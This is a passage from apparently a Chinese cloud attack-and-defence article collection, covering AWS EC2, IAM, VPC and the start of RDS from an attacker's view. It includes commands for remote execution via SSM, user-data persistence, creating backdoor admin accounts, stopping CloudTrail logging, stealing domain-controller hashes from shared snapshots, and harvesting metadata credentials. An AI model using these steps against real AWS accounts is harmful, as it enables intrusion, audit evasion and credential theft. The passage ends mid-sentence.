参数,可能会在无意中加载恶意的 Amazon 系统镜像 ( AMI),导致 EC2 被用来挖矿。 62 | 63 | 64 | 对此,在使用 AWS 命令行时应该确保自己使用的是不是最新版的 AWS 命令行,同时确保从可信的来源去获取 Amazon 系统镜像。 65 | 66 | ### 5、其他的初始访问方法 67 | 68 | 除了以上云场景下的方法外,还可以通过云服务上的应用程序漏洞、SSH 与 RDP 的弱密码等传统场景下的方法进入目标实例。 69 | 70 | 71 | ## 0x02 命令执行 72 | 73 | ### 1、接管控制台 74 | 75 | 拿到 AWS 凭证后,可以进行控制台的接管,这里以 pacu 工具为例。 76 | 77 | pacu 工具里包含了很多 AWS 利用模块,首先使用 set_keys 命令将刚才获取到的 key 值添加到工具里。 78 | 79 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543015-119620-image.png) 80 | 81 | 接下来输入 console 命令,得到一个 URL。 82 | 83 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543030-749370-image.png) 84 | 85 | 将该 URL 粘贴到浏览器,就可以访问到目标的控制台了,这时就可以做很多操作了,比如连接到实例上执行命令。 86 | 87 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543042-712522-image.png) 88 | 89 | 当目标实例被 AWS Systems Manager 代理后,除了在控制台中直接连接到实例外,在 AWS Systems Manager 下也可以执行命令。 90 | 91 | 92 | 来到控制台的 AWS Systems Manager -> 运行命令界面下,命令文档选择 AWS-RunShellScript,命令参数设置为自己想执行的命令 93 | 94 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543063-222756-image.png) 95 | 96 | 97 | 手动选择想要执行命令的实例,输出选项可以不设置,然后点击运行 98 | 99 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543094-133310-image.png) 100 | 101 | 点击实例 ID 就能看到命令运行的结果了 102 | 103 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543102-708394-image.png) 104 | 105 | ### 2、aws cli 106 | 107 | 当目标实例被 AWS Systems Manager 代理后,除了在控制台可以执行命令外,拿到凭证后使用 AWS 命令行也可以在 EC2 上执行命令。 108 | 109 | 列出目标实例 ID 110 | 111 | ```bash 112 | aws ec2 describe-instances --filters "Name=instance-type,Values=t2.micro" --query "Reservations[].Instances[].InstanceId" 113 | ``` 114 | 115 | 在对应的实例上执行命令,注意将 instance-ID 改成自己实例的 ID 116 | 117 | ```bash 118 | aws ssm send-command \ 119 | --instance-ids "instance-ID" \ 120 | --document-name "AWS-RunShellScript" \ 121 | --parameters commands=ifconfig \ 122 | --output text 123 | ``` 124 | 125 | 获得执行命令的结果,注意将 $sh-command-id 改成自己的 Command ID 126 | 127 | ```bash 128 | aws ssm list-command-invocations \ 129 | --command-id $sh-command-id \ 130 | --details 131 | ``` 132 | 133 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543180-251432-image.png) 134 | 135 | ### 3、用户数据 136 | 137 | 在创建云服务器时,用户可以通过指定自定义数据,进行配置实例,当云服务器启动时,自定义数据将以文本的方式传递到云服务器中,并执行该文本,而且文本里的命令默认以 root 权限执行。 138 | 139 | 通过这一功能,攻击者可以修改实例的用户数据并向其中写入待执行的命令,这些代码将会在实例每次启动时自动执行。 140 | 141 | ##### 控制台 142 | 143 | 在控制台界面可以直接编辑实例的用户数据。 144 | 145 | > 在 AWS 下,修改用户数据需要停止实例,在 AWS 下停止实例会擦除实例存储卷上的所有数据,如果没设置弹性 IP,实例的公有 IP 也会变化,因此停止实例需谨慎。 146 | 147 | 修改用户数据的位置在:操作-> 实例设置->编辑用户数据 148 | 149 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543226-918481-image.png) 150 | 151 | 这里以执行 touch 命令为例 152 | 153 | 如果用户数据设置为以下内容,那么实例只有才第一次启动才会运行 154 | 155 | ```bash 156 | #!/bin/bash 157 | touch /tmp/teamssix.txt 158 | ``` 159 | 160 | 如果用户数据设置为以下内容,那么实例只要重启就会运行 161 | 162 | ```bash 163 | Content-Type: multipart/mixed; boundary="//" 164 | MIME-Version: 1.0 165 | 166 | --// 167 | Content-Type: text/cloud-config; charset="us-ascii" 168 | MIME-Version: 1.0 169 | Content-Transfer-Encoding: 7bit 170 | Content-Disposition: attachment; filename="cloud-config.txt" 171 | 172 | #cloud-config 173 | cloud_final_modules: 174 | - [scripts-user, always] 175 | 176 | --// 177 | Content-Type: text/x-shellscript; charset="us-ascii" 178 | MIME-Version: 1.0 179 | Content-Transfer-Encoding: 7bit 180 | Content-Disposition: attachment; filename="userdata.txt" 181 | 182 | #!/bin/bash 183 | touch /tmp/teamssix.txt 184 | --//-- 185 | ``` 186 | 187 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543257-290546-image.png) 188 | 189 | 保存用户数据后启动实例,这时进入实例,就可以看到刚才创建的文件了,这说明刚才的命令已经被执行了 190 | 191 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543268-593296-image.png) 192 | 193 | ##### 命令行 194 | 195 | 除了在控制台上操作的方式外,也可以使用 aws cli 操作 196 | 197 | ```bash 198 | aws ec2 run-instances --image-id ami-abcd1234 --count 1 --instance-type m3.medium \ 199 | --key-name my-key-pair --subnet-id subnet-abcd1234 --security-group-ids sg-abcd1234 \ 200 | --user-data file://my_script.txt 201 | ``` 202 | 203 | my_script.txt 就是要执行的脚本 204 | 205 | 查看实例用户数据 206 | 207 | ```bash 208 | aws ec2 describe-instance-attribute --instance-id i-1234567890abcdef0 --attribute userData --output text --query "UserData.Value" | base64 --decode 209 | ``` 210 | 211 | ### 4、其他的命令执行方法 212 | 213 | 除了上述云场景下的命令执行方法外,还有通过 RCE 漏洞、SSH 登录到实例、后门文件等等传统方法进行命令执行。 214 | 215 | ## 0x03 权限维持 216 | 217 | ### 1、用户数据 218 | 219 | 在上文描述到用户数据的时候,可以很容易发现用户数据可以被用来做权限维持,只需要将要执行的命令改成反弹 Shell 的命令即可。 220 | 221 | 但是也许目标可能很长时间都不会重启实例,而且用户数据也只有实例停止时才能修改,因此还是传统的权限维持方式会更具有优势些,这样来看使用用户数据进行权限维持显得就有些鸡肋了。 222 | 223 | ### 2、后门镜像 224 | 225 | 当攻击者获取到控制台权限后,可以看看目标的 AMI(Amazon 系统镜像),如果可以对其进行修改或者删除、创建的话,RT 就可以将原来的镜像替换成存在后门的镜像。 226 | 227 | 这样当下次目标用户在选用该镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。 228 | 229 | ### 3、创建访问密钥 230 | 231 | 如果当前环境可以创建新的访问密钥,则可以通过创建访问密钥的方式进行权限维持。 232 | 233 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543303-295412-image.png) 234 | 235 | ### 4、创建辅助账号 236 | 237 | 除了以上的权限维持方法,还可以通过创建高权限子账号的方式进行权限维持,然后通过这个子账号进行后续的持续攻击行为。 238 | 239 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543315-744363-image.png) 240 | 241 | 242 | ### 5、其他的权限维持方法 243 | 244 | 除了上述方法外,还可以通过在实例中添加隐藏用户、安装远控软件等等传统方法进行权限维持。 245 | 246 | ## 0x04 权限提升 247 | 248 | 云场景下的权限提升大多还是传统场景下的一些提升方法,例如通过实例的内核漏洞进行提权、通过实例上的服务漏洞进行提权等等。 249 | 250 | ## 0x05 防御绕过 251 | 252 | ### 1、关闭安全监控服务 253 | 254 | 云平台上往往会对实例提供一些安全监控产品,攻击者在开展攻击前,应该把这类安全监控产品关闭,以避免对方的追溯和发现。 255 | 256 | 在 AWS 下,可以通过控制面板或者命令行关闭跟踪 257 | 258 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543363-112577-image.png) 259 | 260 | 261 | ### 2、在监控区域外攻击 262 | 263 | 上面这种停止或者删除的操作会触发告警,因此可以通过配置禁用多区域日志记录功能,并在监控区域外进行攻击,这样就监控不到了。 264 | 265 | ```bash 266 | aws cloudtrail update-trail --name [my-trail] --no-is-multi-region-trail --no-include-global-service-events 267 | ``` 268 | 269 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543375-711761-image.png) 270 | 271 | 272 | 在 AWS 中可以通过以下命令查看 Cloudtrail 的监控范围,这样我们就可以通过攻击监控范围外的主机,以避免触发告警。 273 | 274 | ```bash 275 | aws cloudtrail describe-trails 276 | ``` 277 | 278 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543387-948591-image.png) 279 | 280 | 281 | 例如这里的主区域为 ap-northeast-2,而 IsMultiRegionTrail 多区域跟踪是关闭的,也就是说当前这个 Trail 只会记录 ap-northeast-2 区域内的事件。 282 | 283 | ### 3、停止日志记录 284 | 285 | 相较于上面两种方法,在攻击开始前关闭日志,攻击结束后再开启日志是更方便友好的办法。 286 | 287 | 列出跟踪 288 | 289 | ```bash 290 | aws cloudtrail list-trails 291 | ``` 292 | 293 | 关闭日志记录功能 294 | 295 | ```bash 296 | aws cloudtrail stop-logging --name [my-trail] 297 | ``` 298 | 299 | 开启日志记录功能 300 | 301 | ```bash 302 | aws cloudtrail start-logging --name [my-trail] 303 | ``` 304 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543409-747002-image.png) 305 | 306 | #### 0x04 其他的防御绕过 307 | 308 | 除了上述在控制台、命令行操作外,一些传统的手法也需要使用到,例如挂代理、删除实例上的痕迹等等。 309 | 310 | ## 0x06 信息收集 311 | 312 | ### 1、共享快照 313 | 314 | 如果当前凭证具有 EC2:CreateSnapshot 权限的话,可以通过创建共享快照的方式,然后将自己 aws 控制台下的实例挂载由该快照生成的卷,从而获取到目标 EC2 中的内容。 315 | 316 | ##### 公有快照 317 | 318 | 这里以公有快照作为示例。 319 | 320 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543425-606436-image.png) 321 | 322 | 这里随便找一个快照,点击创建卷,卷的大小需要大于或等于快照大小,这里创建一个 20G 大小的卷,另外可用区需要和自己的 EC2 保持一致,最后快照 ID 指定刚才随便找的快照 323 | 324 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543435-864954-image.png) 325 | 326 | 将刚创建的卷挂载到自己的实例中 327 | 328 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543447-32977-image.png) 329 | 330 | 331 | 登录到自己的实例,查看刚才添加卷的名称 332 | 333 | ```bash 334 | sudo fdisk -l 335 | ``` 336 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543459-881275-image.png) 337 | 338 | 339 | 通过大小可以判断出来 /dev/xvdf 是刚才刚才添加的卷,然后将这个卷挂载到实例中,通过 ls 就可以看到这个公有快照中的数据了。 340 | 341 | ```bash 342 | sudo mkdir /test 343 | sudo mount /dev/xvdf3 /test 344 | sudo ls /test 345 | ``` 346 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543468-977942-image.png) 347 | 348 | 349 | ##### 私有快照 350 | 351 | 在拿到目标 AWS 控制台权限时,如果无法登录到实例,可以为目标实例打个快照,然后将快照共享给自己。 352 | 353 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543479-52550-image.png) 354 | 355 | 356 | 将自己的账号 ID 添加到快照共享后,在自己的 AWS 快照控制台的私有快照处就能看到目标快照了,此时就可以将其挂载到自己的实例,查看里面的数据了。 357 | 358 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543490-328204-image.png) 359 | 360 | 目前也已经有了自动化工具了,CloudCopy 可以通过提供的访问凭证自动实现创建实例快照、自动挂载快照等操作 361 | 362 | 不过 CloudCopy 默认只会获取实例中的域成员哈希值,也就是说前提目标实例是一个域控,不过将这个工具稍微加以修改,就可以获取到其他的文件了,下面来看下这个工具的使用。 363 | 364 | 获取 CloudCopy 工具 365 | 366 | ```bash 367 | git clone https://github.com/Static-Flow/CloudCopy.git 368 | cd CloudCopy 369 | python3 CloudCopy.py 370 | ``` 371 | > 如果运行报错,一般是因为第三方库缺失,根据提示安装对应模块即可 372 | 373 | 接下来,开始进行相应的配置,输入自己的 AWS 账号 ID 及访问凭证以及目标的访问凭证 374 | 375 | ```bash 376 | manual_cloudcopy 377 | show_options 378 | set attackeraccountid xxx 379 | set attackerAccessKey xxx 380 | set attackerSecretKey xxx 381 | set victimAccessKey xxx 382 | set victimSecretKey xxx 383 | set region ap-northeast-2 384 | ``` 385 | 386 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543533-498762-image.png) 387 | 388 | 配置好之后,就可以利用 CloudCopy 进行哈希窃取了 389 | 390 | ```bash 391 | stealDCHashes 392 | ``` 393 | 394 | 这时会提示选择实例,直接输入要窃取的实例编号即可 395 | 396 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543549-105567-image.png) 397 | 398 | 等待一段时间,就可以看到已经读到 DC 的哈希了。 399 | 400 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543558-824550-image.png) 401 | 402 | ### 2、元数据 403 | 404 | 在云场景下可以通过元数据进行临时凭证和其他信息的收集,在 AWS 下的元数据地址为:http://169.254.169.254/latest/meta-data/,直接 curl 请求该地址即可。 405 | 406 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543572-864070-image.png) 407 | 408 | 409 | 这里介绍一些对于 RT 而言价值相对较高的元数据: 410 | 411 | ```text 412 | mac 实例 MAC 地址 413 | hostname 实例主机名 414 | iam/info 获取角色名称 415 | local-ipv4 实例本地 IP 416 | public-ipv4 实例公网 IP 417 | instance-id 实例 ID 418 | public-hostname 接口的公有 DNS (IPv4) 419 | placement/region 实例的 AWS 区域 420 | public-keys/0/openssh-key 公有密钥 421 | /iam/security-credentials/ 获取角色的临时凭证 422 | ``` 423 | 424 | ### 3、云服务访问密钥 425 | 426 | 如果目标在实例上配置了 AWS 命令行工具,那么在 ~/.aws/credentials 路径下,可以看到所配置的访问密钥 427 | 428 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543612-82241-image.png) 429 | 430 | 431 | ### 4、用户数据 432 | 433 | 在获取到目标实例的权限后,在 /var/lib/cloud/instances/instance-id/ 目录下可以看到当前实例的用户数据 434 | 435 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543625-258427-image.png) 436 | 437 | 在 /var/log/cloud-init-output.log 中可以看到用户数据执行的日志 438 | 439 | 或者直接使用元数据服务获取用户数据内容,如果返回 404 说明没有用户数据 440 | 441 | ```bash 442 | curl http://169.254.169.254/latest/user-data 443 | ``` 444 | 445 | ### 5、网段信息 446 | 447 | 在进行横向移动时,如果知道目标存在哪些网段可以起到事半功倍的效果,在云场景下,可以直接通过控制台看到目标的网段情况。 448 | 449 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543640-195830-image.png) 450 | 451 | 或者通过命令行获取目标子网信息 452 | 453 | ```bash 454 | aws ec2 describe-subnets --query 'Subnets[].CidrBlock' 455 | ``` 456 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543667-718686-image.png) 457 | 458 | ### 6、其他的信息收集 459 | 460 | 除了上述和云场景相关的信息收集之外,在实例上的传统信息收集也不能少,例如实例上可能会有一些配置文件的账号密码泄露、网络连接情况等等。 461 | 462 | ## 0x07 横向移动 463 | 464 | ### 1、控制台 465 | 466 | 当攻击者拿到目标 AWS 控制台权限后,就可以通过控制台上的实例连接功能进行内网横向移动。 467 | 468 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543678-180100-image.png) 469 | 470 | ### 2、访问凭证 471 | 472 | 当拿到目标的临时访问凭证或者访问密钥后,可以通过命令行或者也可以通过控制台的方式进行内网横向移动。 473 | 474 | ### 3、其他方法 475 | 476 | 虽然在云上,但如果通过前期的信息收集发现目标都处于相同的网段中的话,那么传统的内网横向方法就也是可以使用的。 477 | 478 | ## 0x08 影响 479 | 480 | ### 1、子域名接管 481 | 482 | 存在这个漏洞的前提是目标的 AWS EC2 没有配置弹性 IP,此时如果目标子域 CNAME 配置了该公有 IPv4 DNS 地址或者 A 记录配置了公有 IPv4 IP 地址,那么当该 EC2 被关机或者销毁时,该实例的公有 IP 也会随之释放,此时这个 IP 就会被分配给新的 EC2 实例,造成子域名接管。 483 | 484 | 例如下面这个这个域名,可以看到 CNAME 绑定到了 AWS 的 EC2 上,可以看到现在 EC2 IP 地址是 15 开头的。 485 | 486 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543696-915761-image.png) 487 | 488 | 访问下,可以看到是正常访问的 489 | 490 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543706-45833-image.png) 491 | 492 | 此时我们将这个 EC2 实例停止再开机,在控制台可以看到 IP 地址已经变成了 3 开头的了 493 | 494 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543720-612005-image.png) 495 | 496 | 此时,因为 CNAME 记录还是原来的记录,所以再次访问 ec2.teamssix.com 可以看到已经访问不到了,因为原来的那个 15 开头的 IP 此时已经不是我们的了,这样便造成了域名接管。 497 | 498 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543750-286683-image.png) 499 | 500 | 只是这个域名不是被我们接管的,而是被别人接管了,或许自己的域名会被定向到别人的 Jenkins 上也说不定【手动狗头】 501 | 502 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543760-316850-image.png) 503 | 504 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543767-108896-image.png) 505 | 506 | > 白帽子:你资产里的有个 Jenkins RCE !!! 507 | > 508 | > 厂家回复:感谢提交,我们正在调查。哦,这个域名的 DNS 记录看起来是个悬挂 DNS 记录,这个 Jenkins 资产不是我们的哦。 509 | 510 | 那么其实这里问题来了,怎么判断 DNS 记录里的 EC2 IP 是公有 IP 还是弹性 IP 呢?大概有以下几种方法: 511 | 512 | 1、证书判断,如果某个子域绑定了 AWS EC2 IP,但是这个网站证书和其他子域名的证书明显不一致,那么可能这个 EC2 就是使用的公有 IP,而且当前的 IP 已经是别人的 IP 了,当然前提是网站使用了 HTTPS 513 | 514 | 2、网络空间搜索引擎历史记录,通过对该 IP 的历史搜索记录进行查询,如果该 IP 的历史扫描记录一直在变化,那么可能就是公有 IP 515 | 516 | 3、通过谷歌、百度搜索的历史记录去判断,这个原理和上面的第 2 点一样,都是通过有没有变化去判断。 517 | 518 | 不过其实上面三种方法也没法百分百的确定,所以其实最好的办法就是直接问对方,当前 IP 是不是对方所属,虽然这种做法不太 Hacker,但确实是最有效的办法了。 519 | 520 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648543800-554517-image.png) 521 | 522 | 最后如果子域名要绑定 EC2,建议为 EC2 绑定个弹性 IP,这样即使实例重启,IP 也不会变,避免自己的域名绑到了其他人的 EC2 的尴尬场景。 523 | 524 | > 不过 u1s1,这个问题影响不算太大,毕竟攻击者想劫持到这个域名的成本还是蛮高的。 525 | 526 | ### 2、其他影响 527 | 528 | 在得到目标的凭证后,就相当于获取了目标的资源权限,这时候也可以对目标资源进行一些传统场景下的利用,比如敏感信息窃取、篡改、加密勒索等等。 529 | 530 | ## 0x09 总结 531 | 532 | 除了以上云场景下独有的攻击方式外,一些非云场景下的攻击方式,例如服务器上的应用漏洞、邮件钓鱼获得凭证、通过计划任务进行权限维持等等,在 EC2 上也是会受到此类漏洞的影响的,不过这类非云场景的文章已经很多就不再赘述了。 533 | 534 | 整体而言,云场景下的攻击手法大多还是围绕着凭证泄露、配置错误这类问题展开,对于开发和运维人员而言,具备正确的配置、一定的安全意识就能避免很多安全问题的产生。 535 | 536 | 537 | > 参考文章: 538 | > https://attack.mitre.org/matrices/enterprise/cloud 539 | > https://cloud.tencent.com/developer/article/1931560 540 | > https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2 541 | > https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/ 542 | > https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/UserGuide/user-data.html 543 | > https://aws.amazon.com/cn/premiumsupport/knowledge-center/execute-user-data-ec2/ 544 | > https://docs.aws.amazon.com/zh_cn/systems-manager/latest/userguide/walkthrough-cli.html 545 | > https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/UserGuide/instancedata-data-categories.html 546 | > https://aws.amazon.com/cn/getting-started/hands-on/remotely-run-commands-ec2-instance-systems-manager/ 547 | -------------------------------------------------------------------------------- /docs/articles/aws/AWS ELB、VPC 和 IAM 服务攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: AWS ELB、VPC 和 IAM 服务攻防 3 | id: aws_elb_vpc_iam 4 | --- 5 | 6 | ## 0x00 前言 7 | 在 AWS 中,不管是 EC2 还是 RDS 都会使用到 VPC (Virtual Private Cloud) 虚拟网络环境服务,在 EC2 中可能会用到 ELB (Elastic Load Balancing) 弹性负载均衡服务,IAM (Identity and Access Management) 可以帮助 AWS 用户安全地控制对 AWS 资源的访问。 8 | 这里站在攻击者的视角简单看看 VPC、ELB 和 IAM 服务所面临的一些风险点。 9 | ## 0x01 信息收集 10 | ### 1、网段信息 11 | 在 VPC 中可以看到目标网段信息,拿到这些信息后,在进行内网横向时就可以更有专注性,在一定程度上提高内网横向的效率。 12 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-05/1651741390-838366-image.png) 13 | 14 | 或者通过命令行获取目标子网信息 15 | ``` 16 | aws ec2 describe-subnets --query 'Subnets[].CidrBlock' 17 | ``` 18 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-05/1651741406-23687-image.png) 19 | ### 2、流日志 20 | 在 VPC 中,可以通过创建查看流日志的信息,去判断目标 IP 的流量信息,从而判断出高价值目标,方便接下来的内网横向。 21 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-05/1651741407-10735-image.png) 22 | 23 | ### 3、安全组配置信息 24 | 在 AWS VPC 控制台中,可以查看到目标的安全组信息,如果安全组配置了一些只允许单个 IP 访问的策略,那么可以认为这个 IP 是一个高价值 IP,例如这样的配置。 25 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-05/1651741423-458849-image.png) 26 | 27 | 或者使用命令行查看入站规则中的端口和源IP范围 28 | ``` 29 | aws ec2 describe-security-groups --query 'SecurityGroups[].IpPermissions[].[FromPort,IpRanges]' 30 | ``` 31 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-05/1651741432-7489-image.png) 32 | 33 | 同时在安全组中,如果遇到开放所有端口并且允许所有人访问的情况,那么也可以认为这是存在一定安全风险的。 34 | ### 4、IAM 用户角色权限信息 35 | 如果可以访问到目标的 IAM 信息,则可以对当前用户的 IAM 用户角色权限信息进行收集,这有助于更全面的了解到当前目标使用了那些云服务以及策略的划分。 36 | 例如通过下面的这些角色,可以猜测出当前目标使用了 EKS、ELB、RDS 等服务,那么在进行横向的时候,就可以多关注关注有没有这方面的资产。 37 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-05/1651741438-581968-image.png) 38 | 39 | 或者使用命令行查看 40 | ``` 41 | aws iam list-roles --query 'Roles[].RoleName' 42 | ``` 43 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-05/1651741444-568707-image.png) 44 | 45 | 46 | ## 0x02 权限提升 47 | ### 1、 在 IAM 中分配用户权限 48 | 如果当前用户具备编辑 IAM 策略的权限,但没有某些服务权限的话,那么可以在 IAM 中开启这个服务权限,以实现提权。 49 | 例如下面这个用户,在打开 EC2 时提示我们没有权限 50 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-05/1651741451-743767-image.png) 51 | 52 | 但是这个用户是具有 IAM 的编辑权限的,因此我们可以将 AmazonEC2FullAccess 权限赋予给这个用户 53 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-05/1651741458-203159-image.png) 54 | 55 | 此时再次访问 EC2 界面,发现就可以成功访问了,这样就实现了提权。 56 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-05/1651741465-693115-image.png) 57 | 58 | ## 0x03 权限维持 59 | ### 1、利用 IAM 进行权限维持 60 | 利用 IAM 进行权限维持的原理也比较简单,直接在 IAM 中创建一个拥有高权限的用户即可。 61 | 例如这里选择添加用户,访问类型选择控制台密码 62 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-05/1651741473-168158-image.png) 63 | 64 | 「设置权限」选择「直接附加现有策略」,策略选择「AdministratorAccess」,即表示附加所有策略 65 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-05/1651741484-787764-image.png) 66 | 67 | 创建完成后,会提供自动生成的密码与登录地址,使用这个登录地址和密码直接登录即可,这时我们就制作好了一个后门账户。 68 | ## 0x04 影响 69 | ### 1、恶意修改安全组 70 | 攻击者可以通过恶意修改安全组,比如将允许特定 IP 访问的策略改成允许所有人访问,以方便自己的测试。 71 | 72 | 或者将安全组修改为禁止允许所有人访问,导致目标对外服务不可访问。 73 | ### 2、恶意释放弹性 IP 74 | 攻击者可以通过恶意释放弹性 IP,造成目标实例 IP 变动导致域名绑定 IP 失效,以至于域名不可访问等影响。 75 | ### 3、HTTP 请求走私攻击 76 | 如果 EC2 配置了 ELB,那么攻击者可以尝试对 EC2 上的 Web 服务发起 HTTP 请求走私攻击,从而绕过认证。 77 | ### 4、恶意修改防火墙策略 78 | 攻击者可以通过恶意修改防火墙策略,将自己的攻击 IP 添加到防火墙策略内,从而方便自己的攻击。 79 | 或者将防火墙策略设置为禁止所有人访问,导致目标对外服务不可访问。 80 | -------------------------------------------------------------------------------- /docs/articles/aws/AWS RDS 云数据库攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: AWS RDS 云数据库攻防 3 | id: aws_rds 4 | --- 5 | 6 | ## 0x0 前言 7 | 8 | 在平时攻防的过程中,经常会碰到数据库在云上的情况,本文将以 AWS 中的云数据库为例,主要谈谈在面对云数据库场景下的一些攻防手法。 9 | 10 | 11 | 12 | 目前 Amazon RDS 支持以下数据库: 13 | 14 | - MySQL 15 | - MariaDB 16 | - PostgreSQL 17 | - Oracle 18 | - Microsoft SQL Server 19 | 20 | ## 0x1 前期侦查 21 | 22 | ### 1、访问凭证泄露 23 | 24 | 在前期进行信息收集时,可以通过一些传统常见下的被动信息收集方法,尝试收集目标的数据库账号密码、云服务账号的访问凭证、临时凭证、SDK 代码中泄露的密钥等等。 25 | 26 | ### 2、共享快照 27 | 28 | 对于 AWS RDS,可以在共享快照中,根据快照名称判断查找,看看是否有和目标相关联的快照,然后再通过还原快照的方式,获得快照中 RDS 的数据。 29 | 30 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-18/1650260932-261437-1648436152071-8672b96f-db42-42a2-98fe-7eb7cccec847.png) 31 | 32 | 33 | ## 0x2 初始访问 34 | 35 | ### 1、访问凭证登录 36 | 37 | 如果前期收集到了数据库的账号密码,则可以直接使用其登录。 38 | 39 | 如果前期收集到了云服务账户的访问密钥或临时秘钥,则可以通过访问控制台或者命令行操作 RDS 40 | 41 | ### 2、弱口令 42 | 43 | 如果数据库存在弱口令,则可以通过密码爆破,猜解出 RDS 的账号密码。 44 | 45 | 在 AWS 上,RDS 账号名一般为 admin,通常密码一般为随机强密码,因此如果仅对 root、admin 用户进行爆破,则爆破的成功率较低。 46 | 47 | 所以可以尝试对其他常见用户名进行爆破,这类用户名可能是目标人员自行创建的账号,存在弱口令的可能性较高。 48 | 49 | ## 0x3 执行 50 | 51 | ### 1、云厂商命令行工具 52 | 53 | 如果知道云服务账号的访问密钥,对于 AWS 而言,可以使用 AWS 提供的命令行工具进行 SQL 语句的执行,除此之外也可以使用 SDK 执行 SQL 语句。 54 | 55 | ### 2、数据库连接工具 56 | 57 | 如果知道数据库的账号密码后,也可以使用 Navicat 进行连接访问,或者使用 MDUT 等类似工具对数据库进行渗透,但一般 RDS 提供的权限可能不会太高,使用这类工具失败的可能性较大。 58 | 59 | ## 0x4 权限提升 60 | 61 | ### 1、低权限下收集到高权限访问凭证信息 62 | 63 | 在使用低权限账号登录到数据库后,在数据库中可以尝试搜索访问密钥、账号密码等信息,获得高权限账号信息。 64 | 65 | 如果当前数据存在 Web 应用上的用户密码信息,则可以通过尝试获得 Web 应用系统权限,在 Web 应用系统权限下,搜索数据库的访问密钥或者云服务的 API 密钥,从而进一步横向到数据库高权限。 66 | 67 | ### 2、数据库自身漏洞 68 | 69 | 在有低权限账号后,也可以通过数据库自身漏洞进行提权,不过在云场景下,这种情况可能并不多见。 70 | 71 | ## 0x5 权限维持 72 | 73 | ### 1、控制台修改数据库账号密码 74 | 75 | 在 AWS 控制台处,可直接对数据库密码进行修改,但为了避免影响目标业务,一般情况下不建议这样做。 76 | 77 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-18/1650260954-502600-1648179636872-e26a74e3-7060-4217-913b-a6d5ea10a0d8.png) 78 | 79 | ### 2、添加数据库账号 80 | 81 | 可以通过 AWS 命令或者数据库连接工具,为数据库创建账号,以实现权限维持的目的。 82 | 83 | ### 3、共享快照 84 | 85 | 在 AWS 